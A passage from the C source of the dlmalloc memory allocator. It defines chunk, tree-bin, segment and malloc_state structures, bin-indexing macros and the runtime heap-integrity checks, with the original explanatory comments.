chunk. This makes it easier to deal with alignments etc but can be very confusing when trying to extend or adapt this code. The exceptions to all this are 1. The special chunk `top' is the top-most available chunk (i.e., the one bordering the end of available memory). It is treated specially. Top is never included in any bin, is used only if no other chunk is available, and is released back to the system if it is very large (see M_TRIM_THRESHOLD). In effect, the top chunk is treated as larger (and thus less well fitting) than any other available chunk. The top chunk doesn't update its trailing size field since there is no next contiguous chunk that would have to index off it. However, space is still allocated for it (TOP_FOOT_SIZE) to enable separation or merging when space is extended. 3. Chunks allocated via mmap, have both cinuse and pinuse bits cleared in their head fields. Because they are allocated one-by-one, each must carry its own prev_foot field, which is also used to hold the offset this chunk has within its mmapped region, which is needed to preserve alignment. Each mmapped chunk is trailed by the first two fields of a fake next-chunk for sake of usage checks. */ struct malloc_chunk { size_t prev_foot; /* Size of previous chunk (if free). */ size_t head; /* Size and inuse bits. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; }; typedef struct malloc_chunk mchunk; typedef struct malloc_chunk* mchunkptr; typedef struct malloc_chunk* sbinptr; /* The type of bins of chunks */ typedef unsigned int bindex_t; /* Described below */ typedef unsigned int binmap_t; /* Described below */ typedef unsigned int flag_t; /* The type of various bit flag sets */ /* ------------------- Chunks sizes and alignments ----------------------- */ #define MCHUNK_SIZE (sizeof(mchunk)) #if FOOTERS #define CHUNK_OVERHEAD (TWO_SIZE_T_SIZES) #else /* FOOTERS */ #define CHUNK_OVERHEAD (SIZE_T_SIZE) #endif /* FOOTERS */ /* MMapped chunks need a second word of overhead ... */ #define MMAP_CHUNK_OVERHEAD (TWO_SIZE_T_SIZES) /* ... and additional padding for fake next-chunk at foot */ #define MMAP_FOOT_PAD (FOUR_SIZE_T_SIZES) /* The smallest size we can malloc is an aligned minimal chunk */ #define MIN_CHUNK_SIZE\ ((MCHUNK_SIZE + CHUNK_ALIGN_MASK) & ~CHUNK_ALIGN_MASK) /* conversion from malloc headers to user pointers, and back */ #define chunk2mem(p) ((void*)((char*)(p) + TWO_SIZE_T_SIZES)) #define mem2chunk(mem) ((mchunkptr)((char*)(mem) - TWO_SIZE_T_SIZES)) /* chunk associated with aligned address A */ #define align_as_chunk(A) (mchunkptr)((A) + align_offset(chunk2mem(A))) /* Bounds on request (not chunk) sizes. */ #define MAX_REQUEST ((-MIN_CHUNK_SIZE) << 2) #define MIN_REQUEST (MIN_CHUNK_SIZE - CHUNK_OVERHEAD - SIZE_T_ONE) /* pad request bytes into a usable size */ #define pad_request(req) \ (((req) + CHUNK_OVERHEAD + CHUNK_ALIGN_MASK) & ~CHUNK_ALIGN_MASK) /* pad request, checking for minimum (but not maximum) */ #define request2size(req) \ (((req) < MIN_REQUEST)? MIN_CHUNK_SIZE : pad_request(req)) /* ------------------ Operations on head and foot fields ----------------- */ /* The head field of a chunk is or'ed with PINUSE_BIT when previous adjacent chunk in use, and or'ed with CINUSE_BIT if this chunk is in use, unless mmapped, in which case both bits are cleared. FLAG4_BIT is not used by this malloc, but might be useful in extensions. */ #define PINUSE_BIT (SIZE_T_ONE) #define CINUSE_BIT (SIZE_T_TWO) #define FLAG4_BIT (SIZE_T_FOUR) #define INUSE_BITS (PINUSE_BIT|CINUSE_BIT) #define FLAG_BITS (PINUSE_BIT|CINUSE_BIT|FLAG4_BIT) /* Head value for fenceposts */ #define FENCEPOST_HEAD (INUSE_BITS|SIZE_T_SIZE) /* extraction of fields from head words */ #define cinuse(p) ((p)->head & CINUSE_BIT) #define pinuse(p) ((p)->head & PINUSE_BIT) #define flag4inuse(p) ((p)->head & FLAG4_BIT) #define is_inuse(p) (((p)->head & INUSE_BITS) != PINUSE_BIT) #define is_mmapped(p) (((p)->head & INUSE_BITS) == 0) #define chunksize(p) ((p)->head & ~(FLAG_BITS)) #define clear_pinuse(p) ((p)->head &= ~PINUSE_BIT) #define set_flag4(p) ((p)->head |= FLAG4_BIT) #define clear_flag4(p) ((p)->head &= ~FLAG4_BIT) /* Treat space at ptr +/- offset as a chunk */ #define chunk_plus_offset(p, s) ((mchunkptr)(((char*)(p)) + (s))) #define chunk_minus_offset(p, s) ((mchunkptr)(((char*)(p)) - (s))) /* Ptr to next or previous physical malloc_chunk. */ #define next_chunk(p) ((mchunkptr)( ((char*)(p)) + ((p)->head & ~FLAG_BITS))) #define prev_chunk(p) ((mchunkptr)( ((char*)(p)) - ((p)->prev_foot) )) /* extract next chunk's pinuse bit */ #define next_pinuse(p) ((next_chunk(p)->head) & PINUSE_BIT) /* Get/set size at footer */ #define get_foot(p, s) (((mchunkptr)((char*)(p) + (s)))->prev_foot) #define set_foot(p, s) (((mchunkptr)((char*)(p) + (s)))->prev_foot = (s)) /* Set size, pinuse bit, and foot */ #define set_size_and_pinuse_of_free_chunk(p, s)\ ((p)->head = (s|PINUSE_BIT), set_foot(p, s)) /* Set size, pinuse bit, foot, and clear next pinuse */ #define set_free_with_pinuse(p, s, n)\ (clear_pinuse(n), set_size_and_pinuse_of_free_chunk(p, s)) /* Get the internal overhead associated with chunk p */ #define overhead_for(p)\ (is_mmapped(p)? MMAP_CHUNK_OVERHEAD : CHUNK_OVERHEAD) /* Return true if malloced space is not necessarily cleared */ #if MMAP_CLEARS #define calloc_must_clear(p) (!is_mmapped(p)) #else /* MMAP_CLEARS */ #define calloc_must_clear(p) (1) #endif /* MMAP_CLEARS */ /* ---------------------- Overlaid data structures ----------------------- */ /* When chunks are not in use, they are treated as nodes of either lists or trees. "Small" chunks are stored in circular doubly-linked lists, and look like this: chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:' | Size of chunk, in bytes |P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Forward pointer to next chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Back pointer to previous chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Unused space (may be 0 bytes long) . . . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `foot:' | Size of chunk, in bytes | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Larger chunks are kept in a form of bitwise digital trees (aka tries) keyed on chunksizes. Because malloc_tree_chunks are only for free chunks greater than 256 bytes, their size doesn't impose any constraints on user chunk sizes. Each node looks like: chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:' | Size of chunk, in bytes |P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Forward pointer to next chunk of same size | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Back pointer to previous chunk of same size | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Pointer to left child (child[0]) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Pointer to right child (child[1]) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Pointer to parent | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | bin index of this chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Unused space . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `foot:' | Size of chunk, in bytes | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Each tree holding treenodes is a tree of unique chunk sizes. Chunks of the same size are arranged in a circularly-linked list, with only the oldest chunk (the next to be used, in our FIFO ordering) actually in the tree. (Tree members are distinguished by a non-null parent pointer.) If a chunk with the same size an an existing node is inserted, it is linked off the existing node using pointers that work in the same way as fd/bk pointers of small chunks. Each tree contains a power of 2 sized range of chunk sizes (the smallest is 0x100 <= x < 0x180), which is is divided in half at each tree level, with the chunks in the smaller half of the range (0x100 <= x < 0x140 for the top nose) in the left subtree and the larger half (0x140 <= x < 0x180) in the right subtree. This is, of course, done by inspecting individual bits. Using these rules, each node's left subtree contains all smaller sizes than its right subtree. However, the node at the root of each subtree has no particular ordering relationship to either. (The dividing line between the subtree sizes is based on trie relation.) If we remove the last chunk of a given size from the interior of the tree, we need to replace it with a leaf node. The tree ordering rules permit a node to be replaced by any leaf below it. The smallest chunk in a tree (a common operation in a best-fit allocator) can be found by walking a path to the leftmost leaf in the tree. Unlike a usual binary tree, where we follow left child pointers until we reach a null, here we follow the right child pointer any time the left one is null, until we reach a leaf with both child pointers null. The smallest chunk in the tree will be somewhere along that path. The worst case number of steps to add, find, or remove a node is bounded by the number of bits differentiating chunks within bins. Under current bin calculations, this ranges from 6 up to 21 (for 32 bit sizes) or up to 53 (for 64 bit sizes). The typical case is of course much better. */ struct malloc_tree_chunk { /* The first four fields must be compatible with malloc_chunk */ size_t prev_foot; size_t head; struct malloc_tree_chunk* fd; struct malloc_tree_chunk* bk; struct malloc_tree_chunk* child[2]; struct malloc_tree_chunk* parent; bindex_t index; }; typedef struct malloc_tree_chunk tchunk; typedef struct malloc_tree_chunk* tchunkptr; typedef struct malloc_tree_chunk* tbinptr; /* The type of bins of trees */ /* A little helper macro for trees */ #define leftmost_child(t) ((t)->child[0] != 0? (t)->child[0] : (t)->child[1]) /* ----------------------------- Segments -------------------------------- */ /* Each malloc space may include non-contiguous segments, held in a list headed by an embedded malloc_segment record representing the top-most space. Segments also include flags holding properties of the space. Large chunks that are directly allocated by mmap are not included in this list. They are instead independently created and destroyed without otherwise keeping track of them. Segment management mainly comes into play for spaces allocated by MMAP. Any call to MMAP might or might not return memory that is adjacent to an existing segment. MORECORE normally contiguously extends the current space, so this space is almost always adjacent, which is simpler and faster to deal with. (This is why MORECORE is used preferentially to MMAP when both are available -- see sys_alloc.) When allocating using MMAP, we don't use any of the hinting mechanisms (inconsistently) supported in various implementations of unix mmap, or distinguish reserving from committing memory. Instead, we just ask for space, and exploit contiguity when we get it. It is probably possible to do better than this on some systems, but no general scheme seems to be significantly better. Management entails a simpler variant of the consolidation scheme used for chunks to reduce fragmentation -- new adjacent memory is normally prepended or appended to an existing segment. However, there are limitations compared to chunk consolidation that mostly reflect the fact that segment processing is relatively infrequent (occurring only when getting memory from system) and that we don't expect to have huge numbers of segments: * Segments are not indexed, so traversal requires linear scans. (It would be possible to index these, but is not worth the extra overhead and complexity for most programs on most platforms.) * New segments are only appended to old ones when holding top-most memory; if they cannot be prepended to others, they are held in different segments. Except for the top-most segment of an mstate, each segment record is kept at the tail of its segment. Segments are added by pushing segment records onto the list headed by &mstate.seg for the containing mstate. Segment flags control allocation/merge/deallocation policies: * If EXTERN_BIT set, then we did not allocate this segment, and so should not try to deallocate or merge with others. (This currently holds only for the initial segment passed into create_mspace_with_base.) * If USE_MMAP_BIT set, the segment may be merged with other surrounding mmapped segments and trimmed/de-allocated using munmap. * If neither bit is set, then the segment was obtained using MORECORE so can be merged with surrounding MORECORE'd segments and deallocated/trimmed using MORECORE with negative arguments. */ struct malloc_segment { char* base; /* base address */ size_t size; /* allocated size */ struct malloc_segment* next; /* ptr to next segment */ flag_t sflags; /* mmap and extern flag */ }; #define is_mmapped_segment(S) ((S)->sflags & USE_MMAP_BIT) #define is_extern_segment(S) ((S)->sflags & EXTERN_BIT) typedef struct malloc_segment msegment; typedef struct malloc_segment* msegmentptr; /* ---------------------------- malloc_state ----------------------------- */ /* A malloc_state holds all of the bookkeeping for a space. The main fields are: Top The topmost chunk of the currently active segment. Its size is cached in topsize. The actual size of topmost space is topsize+TOP_FOOT_SIZE, which includes space reserved for adding fenceposts and segment records if necessary when getting more space from the system. The size at which to autotrim top is cached from mparams in trim_check, except that it is disabled if an autotrim fails. Designated victim (dv) This is the preferred chunk for servicing small requests that don't have exact fits. It is normally the chunk split off most recently to service another small request. Its size is cached in dvsize. The link fields of this chunk are not maintained since it is not kept in a bin. SmallBins An array of bin headers for free chunks. These bins hold chunks with sizes less than MIN_LARGE_SIZE bytes. Each bin contains chunks of all the same size, spaced 8 bytes apart. To simplify use in double-linked lists, each bin header acts as a malloc_chunk pointing to the real first node, if it exists (else pointing to itself). This avoids special-casing for headers. But to avoid waste, we allocate only the fd/bk pointers of bins, and then use repositioning tricks to treat these as the fields of a chunk. TreeBins Treebins are pointers to the roots of trees holding a range of sizes. There are 2 equally spaced treebins for each power of two from TREE_SHIFT to TREE_SHIFT+16. The last bin holds anything larger. Bin maps There is one bit map for small bins ("smallmap") and one for treebins ("treemap). Each bin sets its bit when non-empty, and clears the bit when empty. Bit operations are then used to avoid bin-by-bin searching -- nearly all "search" is done without ever looking at bins that won't be selected. The bit maps conservatively use 32 bits per map word, even if on 64bit system. For a good description of some of the bit-based techniques used here, see Henry S. Warren Jr's book "Hacker's Delight" (and supplement at http://hackersdelight.org/). Many of these are intended to reduce the branchiness of paths through malloc etc, as well as to reduce the number of memory locations read or written. Segments A list of segments headed by an embedded malloc_segment record representing the initial space. Address check support The least_addr field is the least address ever obtained from MORECORE or MMAP. Attempted frees and reallocs of any address less than this are trapped (unless INSECURE is defined). Magic tag A cross-check field that should always hold same value as mparams.magic. Max allowed footprint The maximum allowed bytes to allocate from system (zero means no limit) Flags Bits recording whether to use MMAP, locks, or contiguous MORECORE Statistics Each space keeps track of current and maximum system memory obtained via MORECORE or MMAP. Trim support Fields holding the amount of unused topmost memory that should trigger trimming, and a counter to force periodic scanning to release unused non-topmost segments. Locking If USE_LOCKS is defined, the "mutex" lock is acquired and released around every public call using this mspace. Extension support A void* pointer and a size_t field that can be used to help implement extensions to this malloc. */ /* Bin types, widths and sizes */ #define NSMALLBINS (32U) #define NTREEBINS (32U) #define SMALLBIN_SHIFT (3U) #define SMALLBIN_WIDTH (SIZE_T_ONE << SMALLBIN_SHIFT) #define TREEBIN_SHIFT (8U) #define MIN_LARGE_SIZE (SIZE_T_ONE << TREEBIN_SHIFT) #define MAX_SMALL_SIZE (MIN_LARGE_SIZE - SIZE_T_ONE) #define MAX_SMALL_REQUEST (MAX_SMALL_SIZE - CHUNK_ALIGN_MASK - CHUNK_OVERHEAD) struct malloc_state { binmap_t smallmap; binmap_t treemap; size_t dvsize; size_t topsize; char* least_addr; mchunkptr dv; mchunkptr top; size_t trim_check; size_t release_checks; size_t magic; mchunkptr smallbins[(NSMALLBINS+1)*2]; tbinptr treebins[NTREEBINS]; size_t footprint; size_t max_footprint; size_t footprint_limit; /* zero means no limit */ flag_t mflags; #if USE_LOCKS MLOCK_T mutex; /* locate lock among fields that rarely change */ #endif /* USE_LOCKS */ msegment seg; void* extp; /* Unused but available for extensions */ size_t exts; }; typedef struct malloc_state* mstate; /* ------------- Global malloc_state and malloc_params ------------------- */ /* malloc_params holds global properties, including those that can be dynamically set using mallopt. There is a single instance, mparams, initialized in init_mparams. Note that the non-zeroness of "magic" also serves as an initialization flag. */ struct malloc_params { size_t magic; size_t page_size; size_t granularity; size_t mmap_threshold; size_t trim_threshold; flag_t default_mflags; }; static struct malloc_params mparams; /* Ensure mparams initialized */ #define ensure_initialization() (void)(mparams.magic != 0 || init_mparams()) #if !ONLY_MSPACES /* The global malloc_state used for all non-"mspace" calls */ static struct malloc_state _gm_; #define gm (&_gm_) #define is_global(M) ((M) == &_gm_) #endif /* !ONLY_MSPACES */ #define is_initialized(M) ((M)->top != 0) /* -------------------------- system alloc setup ------------------------- */ /* Operations on mflags */ #define use_lock(M) ((M)->mflags & USE_LOCK_BIT) #define enable_lock(M) ((M)->mflags |= USE_LOCK_BIT) #if USE_LOCKS #define disable_lock(M) ((M)->mflags &= ~USE_LOCK_BIT) #else #define disable_lock(M) #endif #define use_mmap(M) ((M)->mflags & USE_MMAP_BIT) #define enable_mmap(M) ((M)->mflags |= USE_MMAP_BIT) #if HAVE_MMAP #define disable_mmap(M) ((M)->mflags &= ~USE_MMAP_BIT) #else #define disable_mmap(M) #endif #define use_noncontiguous(M) ((M)->mflags & USE_NONCONTIGUOUS_BIT) #define disable_contiguous(M) ((M)->mflags |= USE_NONCONTIGUOUS_BIT) #define set_lock(M,L)\ ((M)->mflags = (L)?\ ((M)->mflags | USE_LOCK_BIT) :\ ((M)->mflags & ~USE_LOCK_BIT)) /* page-align a size */ #define page_align(S)\ (((S) + (mparams.page_size - SIZE_T_ONE)) & ~(mparams.page_size - SIZE_T_ONE)) /* granularity-align a size */ #define granularity_align(S)\ (((S) + (mparams.granularity - SIZE_T_ONE))\ & ~(mparams.granularity - SIZE_T_ONE)) /* For mmap, use granularity alignment on windows, else page-align */ #ifdef WIN32 #define mmap_align(S) granularity_align(S) #else #define mmap_align(S) page_align(S) #endif /* For sys_alloc, enough padding to ensure can malloc request on success */ #define SYS_ALLOC_PADDING (TOP_FOOT_SIZE + MALLOC_ALIGNMENT) #define is_page_aligned(S)\ (((size_t)(S) & (mparams.page_size - SIZE_T_ONE)) == 0) #define is_granularity_aligned(S)\ (((size_t)(S) & (mparams.granularity - SIZE_T_ONE)) == 0) /* True if segment S holds address A */ #define segment_holds(S, A)\ ((char*)(A) >= S->base && (char*)(A) < S->base + S->size) /* Return segment holding given address */ static msegmentptr segment_holding(mstate m, char* addr) { msegmentptr sp = &m->seg; for (;;) { if (addr >= sp->base && addr < sp->base + sp->size) return sp; if ((sp = sp->next) == 0) return 0; } } /* Return true if segment contains a segment link */ static int has_segment_link(mstate m, msegmentptr ss) { msegmentptr sp = &m->seg; for (;;) { if ((char*)sp >= ss->base && (char*)sp < ss->base + ss->size) return 1; if ((sp = sp->next) == 0) return 0; } } #ifndef MORECORE_CANNOT_TRIM #define should_trim(M,s) ((s) > (M)->trim_check) #else /* MORECORE_CANNOT_TRIM */ #define should_trim(M,s) (0) #endif /* MORECORE_CANNOT_TRIM */ /* TOP_FOOT_SIZE is padding at the end of a segment, including space that may be needed to place segment records and fenceposts when new noncontiguous segments are added. */ #define TOP_FOOT_SIZE\ (align_offset(chunk2mem(0))+pad_request(sizeof(struct malloc_segment))+MIN_CHUNK_SIZE) /* ------------------------------- Hooks -------------------------------- */ /* PREACTION should be defined to return 0 on success, and nonzero on failure. If you are not using locking, you can redefine these to do anything you like. */ #if USE_LOCKS #define PREACTION(M) ((use_lock(M))? ACQUIRE_LOCK(&(M)->mutex) : 0) #define POSTACTION(M) { if (use_lock(M)) RELEASE_LOCK(&(M)->mutex); } #else /* USE_LOCKS */ #ifndef PREACTION #define PREACTION(M) (0) #endif /* PREACTION */ #ifndef POSTACTION #define POSTACTION(M) #endif /* POSTACTION */ #endif /* USE_LOCKS */ /* CORRUPTION_ERROR_ACTION is triggered upon detected bad addresses. USAGE_ERROR_ACTION is triggered on detected bad frees and reallocs. The argument p is an address that might have triggered the fault. It is ignored by the two predefined actions, but might be useful in custom actions that try to help diagnose errors. */ #if PROCEED_ON_ERROR /* A count of the number of corruption errors causing resets */ int malloc_corruption_error_count; /* default corruption action */ static void reset_on_error(mstate m); #define CORRUPTION_ERROR_ACTION(m) reset_on_error(m) #define USAGE_ERROR_ACTION(m, p) #else /* PROCEED_ON_ERROR */ #ifndef CORRUPTION_ERROR_ACTION #define CORRUPTION_ERROR_ACTION(m) ABORT #endif /* CORRUPTION_ERROR_ACTION */ #ifndef USAGE_ERROR_ACTION #define USAGE_ERROR_ACTION(m,p) ABORT #endif /* USAGE_ERROR_ACTION */ #endif /* PROCEED_ON_ERROR */ /* -------------------------- Debugging setup ---------------------------- */ #if ! DEBUG #define check_free_chunk(M,P) #define check_inuse_chunk(M,P) #define check_malloced_chunk(M,P,N) #define check_mmapped_chunk(M,P) #define check_malloc_state(M) #define check_top_chunk(M,P) #else /* DEBUG */ #define check_free_chunk(M,P) do_check_free_chunk(M,P) #define check_inuse_chunk(M,P) do_check_inuse_chunk(M,P) #define check_top_chunk(M,P) do_check_top_chunk(M,P) #define check_malloced_chunk(M,P,N) do_check_malloced_chunk(M,P,N) #define check_mmapped_chunk(M,P) do_check_mmapped_chunk(M,P) #define check_malloc_state(M) do_check_malloc_state(M) static void do_check_any_chunk(mstate m, mchunkptr p); static void do_check_top_chunk(mstate m, mchunkptr p); static void do_check_mmapped_chunk(mstate m, mchunkptr p); static void do_check_inuse_chunk(mstate m, mchunkptr p); static void do_check_free_chunk(mstate m, mchunkptr p); static void do_check_malloced_chunk(mstate m, void* mem, size_t s); static void do_check_tree(mstate m, tchunkptr t); static void do_check_treebin(mstate m, bindex_t i); static void do_check_smallbin(mstate m, bindex_t i); static void do_check_malloc_state(mstate m); static int bin_find(mstate m, mchunkptr x); static size_t traverse_and_check(mstate m); #endif /* DEBUG */ /* ---------------------------- Indexing Bins ---------------------------- */ #define is_small(s) (((s) >> SMALLBIN_SHIFT) < NSMALLBINS) #define small_index(s) (bindex_t)((s) >> SMALLBIN_SHIFT) #define small_index2size(i) ((i) << SMALLBIN_SHIFT) #define MIN_SMALL_INDEX (small_index(MIN_CHUNK_SIZE)) /* addressing by index. See above about smallbin repositioning */ #define smallbin_at(M, i) ((sbinptr)((char*)&((M)->smallbins[(i)<<1]))) #define treebin_at(M,i) (&((M)->treebins[i])) /* assign tree index for size S to variable I. Use x86 asm if possible */ #if defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__)) #define compute_tree_index(S, I)\ {\ unsigned int X = S >> TREEBIN_SHIFT;\ if (X == 0)\ I = 0;\ else if (X > 0xFFFF)\ I = NTREEBINS-1;\ else {\ unsigned int K = (unsigned) sizeof(X)*__CHAR_BIT__ - 1 - (unsigned) __builtin_clz(X); \ I = (bindex_t)((K << 1) + ((S >> (K + (TREEBIN_SHIFT-1)) & 1)));\ }\ } #elif defined (__INTEL_COMPILER) #define compute_tree_index(S, I)\ {\ size_t X = S >> TREEBIN_SHIFT;\ if (X == 0)\ I = 0;\ else if (X > 0xFFFF)\ I = NTREEBINS-1;\ else {\ unsigned int K = _bit_scan_reverse (X); \ I = (bindex_t)((K << 1) + ((S >> (K + (TREEBIN_SHIFT-1)) & 1)));\ }\ } #elif defined(_MSC_VER) && _MSC_VER>=1300 #define compute_tree_index(S, I)\ {\ size_t X = S >> TREEBIN_SHIFT;\ if (X == 0)\ I = 0;\ else if (X > 0xFFFF)\ I = NTREEBINS-1;\ else {\ unsigned int K;\ _BitScanReverse((DWORD *) &K, (DWORD) X);\ I = (bindex_t)((K << 1) + ((S >> (K + (TREEBIN_SHIFT-1)) & 1)));\ }\ } #else /* GNUC */ #define compute_tree_index(S, I)\ {\ size_t X = S >> TREEBIN_SHIFT;\ if (X == 0)\ I = 0;\ else if (X > 0xFFFF)\ I = NTREEBINS-1;\ else {\ unsigned int Y = (unsigned int)X;\ unsigned int N = ((Y - 0x100) >> 16) & 8;\ unsigned int K = (((Y <<= N) - 0x1000) >> 16) & 4;\ N += K;\ N += K = (((Y <<= K) - 0x4000) >> 16) & 2;\ K = 14 - N + ((Y <<= K) >> 15);\ I = (K << 1) + ((S >> (K + (TREEBIN_SHIFT-1)) & 1));\ }\ } #endif /* GNUC */ /* Bit representing maximum resolved size in a treebin at i */ #define bit_for_tree_index(i) \ (i == NTREEBINS-1)? (SIZE_T_BITSIZE-1) : (((i) >> 1) + TREEBIN_SHIFT - 2) /* Shift placing maximum resolved bit in a treebin at i as sign bit */ #define leftshift_for_tree_index(i) \ ((i == NTREEBINS-1)? 0 : \ ((SIZE_T_BITSIZE-SIZE_T_ONE) - (((i) >> 1) + TREEBIN_SHIFT - 2))) /* The size of the smallest chunk held in bin with index i */ #define minsize_for_tree_index(i) \ ((SIZE_T_ONE << (((i) >> 1) + TREEBIN_SHIFT)) | \ (((size_t)((i) & SIZE_T_ONE)) << (((i) >> 1) + TREEBIN_SHIFT - 1))) /* ------------------------ Operations on bin maps ----------------------- */ /* bit corresponding to given index */ #define idx2bit(i) ((binmap_t)(1) << (i)) /* Mark/Clear bits with given index */ #define mark_smallmap(M,i) ((M)->smallmap |= idx2bit(i)) #define clear_smallmap(M,i) ((M)->smallmap &= ~idx2bit(i)) #define smallmap_is_marked(M,i) ((M)->smallmap & idx2bit(i)) #define mark_treemap(M,i) ((M)->treemap |= idx2bit(i)) #define clear_treemap(M,i) ((M)->treemap &= ~idx2bit(i)) #define treemap_is_marked(M,i) ((M)->treemap & idx2bit(i)) /* isolate the least set bit of a bitmap */ #define least_bit(x) ((x) & -(x)) /* mask with all bits to left of least bit of x on */ #define left_bits(x) ((x<<1) | -(x<<1)) /* mask with all bits to left of or equal to least bit of x on */ #define same_or_left_bits(x) ((x) | -(x)) /* index corresponding to given bit. Use x86 asm if possible */ #if defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__)) #define compute_bit2idx(X, I)\ {\ unsigned int J;\ J = __builtin_ctz(X); \ I = (bindex_t)J;\ } #elif defined (__INTEL_COMPILER) #define compute_bit2idx(X, I)\ {\ unsigned int J;\ J = _bit_scan_forward (X); \ I = (bindex_t)J;\ } #elif defined(_MSC_VER) && _MSC_VER>=1300 #define compute_bit2idx(X, I)\ {\ unsigned int J;\ _BitScanForward((DWORD *) &J, X);\ I = (bindex_t)J;\ } #elif USE_BUILTIN_FFS #define compute_bit2idx(X, I) I = ffs(X)-1 #else #define compute_bit2idx(X, I)\ {\ unsigned int Y = X - 1;\ unsigned int K = Y >> (16-4) & 16;\ unsigned int N = K; Y >>= K;\ N += K = Y >> (8-3) & 8; Y >>= K;\ N += K = Y >> (4-2) & 4; Y >>= K;\ N += K = Y >> (2-1) & 2; Y >>= K;\ N += K = Y >> (1-0) & 1; Y >>= K;\ I = (bindex_t)(N + Y);\ } #endif /* GNUC */ /* ----------------------- Runtime Check Support ------------------------- */ /* For security, the main invariant is that malloc/free/etc never writes to a static address other than malloc_state, unless static malloc_state itself has been corrupted, which cannot occur via malloc (because of these checks). In essence this means that we believe all pointers, sizes, maps etc held in malloc_state, but check all of those linked or offsetted from other embedded data structures. These checks are interspersed with main code in a way that tends to minimize their run-time cost. When FOOTERS is defined, in addition to range checking, we also verify footer fields of inuse chunks, which can be used guarantee that the mstate controlling malloc/free is intact. This is a streamlined version of the approach described by William Robertson et al in "Run-time Detection of Heap-based Overflows" LISA'03 http://www.usenix.org/events/lisa03/tech/robertson.html The footer of an inuse chunk holds the xor of its mstate and a random seed, that is checked upon calls to free() and realloc(). This is (probabalistically) unguessable from outside the program, but can be computed by any code successfully malloc'ing any chunk, so does not itself provide protection against code that has already broken security through some other means. Unlike Robertson et al, we always dynamically check addresses of all offset chunks (previous, next, etc). This turns out to be cheaper than relying on hashes. */ #if !INSECURE /* Check if address a is at least as high as any from MORECORE or MMAP */ #define ok_address(M, a) ((char*)(a) >= (M)->least_addr) /* Check if address of next chunk n is higher than base chunk p */ #define ok_next(p, n) ((char*)(p) < (char*)(n)) /* Check if p has inuse status */ #define ok_inuse(p) is_inuse(p) /* Check if p has its pinuse bit on */ #define ok_pinuse(p) pinuse(p) #else /* !INSECURE */ #define ok_address(M, a) (1) #define ok_next(b, n) (1) #define ok_inuse(p) (1) #define ok_pinuse(p) (1) #endif /* !INSECURE */ #if (FOOTERS && !INSECURE) /* Check if (alleged) mstate m has expected magic field */ #define ok_magic(M) ((M)->magic == mparams.magic) #else /* (FOOTERS && !INSECURE) */ #define ok_magic(M) (1) #endif /* (FOOTERS && !INSECURE) */ /* In gcc, use __builtin_expect to minimize impact of checks */ #if !INSECURE #if defined(__GNUC__) && __GNUC__ >= 3 #define RTCHECK(e) __builtin_expect(e, 1) #else /* GNUC */ #define RTCHECK(e) (e) #endif /* GNUC */ #else /* !INSECURE */ #define RTCHECK(e) (1) #endif /* !INSECURE */ /* macros to set up inuse chunks with or without footers */ #if !FOOTERS #define mark_inuse_foot(M,p,s) /* Macros for setting head/foot of non-mmapped chunks */ /* Set cinuse bit and pinuse bit of next chunk */ #define set_inuse(M,p,s)\ ((p)->head = (((p)->head & PINUSE_BIT)|s|CINUSE_BIT),\ ((mchunkptr)(((char*)(p)) + (s)))->head |= PINUSE_BIT) /* Set cinuse and pinuse of this chunk and pinuse of next chunk */ #define set_inuse_and_pinuse(M,p,s)\ ((p)->head = (s|PINUSE_BIT|CINUSE_BIT),\ ((mchunkptr)(((char*)(p)) + (s)))->head |= PINUSE_BIT) /* Set size, cinuse and pinuse bit of this chunk */ #define set_size_and_pinuse_of_inuse_chunk(M, p, s)\ ((p)->head = (s|PINUSE_BIT|CINUSE_BIT)) #else /* FOOTERS */ /* Set foot of inuse chunk to be xor of mstate and seed */ #define mark_inuse_foot(M,p,s)\ (((mchunkptr)((char*)(p) + (s)))->prev_foot = ((size_t)(M) ^ mparams.magic)) #define get_mstate_for(p)\ ((mstate)(((mchunkptr)((char*)(p) +\ (chunksize(p))))->prev_foot ^ mparams.magic)) #define 